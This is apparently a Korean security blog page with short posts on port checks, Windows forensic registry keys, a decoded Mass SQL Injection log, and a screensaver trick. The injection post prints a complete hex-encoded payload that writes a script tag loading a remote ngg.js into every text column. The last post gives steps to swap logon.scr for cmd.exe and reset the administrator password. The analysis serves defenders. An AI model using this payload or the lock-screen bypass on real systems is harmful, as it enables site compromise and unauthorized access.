    • lsof, ps, netstat 등을 통해 포트 확인
      lsof | egrep "31335|27665"
      lsof -p pid (파일경로 확인)

그림출처 : linuxfocus.org


[레지스트리] Windows Forensic 관련 레지스트리 경로

최근 접속한 터미널 목록
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default

최근 사용한 문서 목록
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

최근 열어본 파일 목록
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32



[MSI] Mass SQL Injection 분석하기

작년 이만때 쯤 윈도우 IIS를 웹서버로, MSSQL을 DBMS로 사용하는 사이트에 지속적인 공격을 하였던
Mass SQL 인젝션 공격(이하 MSI)을 누구나 한번 쯤은 들어보셨으리라 생각됩니다...

물론 DBA를 전직으로 하고 계시는 한 지인은...그날의 악몽을 잊을 수 없다고 하더군요(2시간 간격으로 DB 원복 ㅋㅋ)

현재는 웹방화벽이라든지 KISA에서 제공하는 WebKnight 또는 MSSQL의 설정을 통해 어느정도 해결점을 찾았습니다.

그러나 IIS+MSSQL 과 같은 플랫폼에서만 아니라 다른 플랫폼에서도 변종 공격이 지속되고 있습니다.

처음에는 단순 declare 구문으로 시작했지만, 단순 인코딩이 되더니 현재는 HEX 인코딩되어 공격을 진행합니다.

암튼 사족은 이만, 각설하고...

변종 MSI 패턴을 확인해보기로 합니다.

- Detected Log
GET /test.asp?id=1;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6762726164702E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: www.test.com
Connection: Close

- pattern
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6762726164702E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

- 1차 URL 디코딩 후
;DECLARE @S VARCHAR(4000);SET @S=CAST
(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6762726164702E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220
 AS VARCHAR(4000));EXEC(@S);--

- 2차 Hex 디코딩
;DECLARE @S VARCHAR(4000);SET @S=CAST
(0xDECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.gbradp.com/ngg.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
AS VARCHAR(4000));EXEC(@S);--

결국 http://www.gbradp.com/ngg.js의 코드가 삽입되는 패턴임을 확인할 수 있습니다.

이 밖에도 사이트에서 보면 수많은 MSI 패턴이 아직도 현존하는 경우를 많이 볼 수 있습니다.

confer.
# 1차 디코딩 방법

url.exe


url 인코딩 파일로 분석할 수 있습니다.

# 2차 디코딩 방법

http://home2.paulschou.net/tools/xlate/

perl 스크립트를 이용하여 HEX 디코딩을 할 수 있지만 편하게 웹에서 디코딩 할 수 있는 사이트입니다.




[윈도우] 화면보호기를 이용한 윈도우 해킹

꽤 오래전 패스워드(?) 인가란 SF 영화를 보면서 갑자기 엉뚱한 생각이 들었습니다...^_^

보통 고객사이트내지 가정에서도 많이 화면보호기 화면을 접하게 됩니다.

컴퓨터 idle이 어느시간 지속되면 화면보호기가 걸리게되는 점을 악용하여 윈도우 해킹(?)을 시도할 수 있다고 생각됩니다.

시나리오)
PC의 주인이 자리를 비우는 시점에 화면보호기가 작동될 경우,
비록 화면보호기가 작동되면 윈도우가 잠기며 비밀번호를 다시 묻게되죠...
또한 윈도우가 잠긴 상태에서는 비밀번호를 크랙하기 전에는 로그인을 할 수 없죠...

이럴 때 사회공학적 방법을 이용한 해킹이 가능하더군요...

방법)
1. 윈도우 C:\WINDOWS\system32 경로에 logon.scr 파일이 있습니다. 바로 화면보호기 파일이죠...
2. 동일한 디렉토리에 cmd.exe 파일이 있습니다. 바로 cmd 창이죠...
3. copy cmd.exe logon.scr 을 합니다. 물론 덮어쓰기 합니다.
4. 그럼 이제 화면보호기가 걸리는 시점에 화면이 잠기지 않고 덩그라니 cmd 창이 뜨게 됩니다.
- 비밀번호 변경 작업
5. net user administrator *
6. 원하는 비밀번호로 변경합니다.

# 좀 허접한 팁이지만 *.scr 파일과 같은 윈도우 파일을 악용하여 원하는 정보를 획득할 수 있는 방법은
많다고 생각됩니다...


+ Recent posts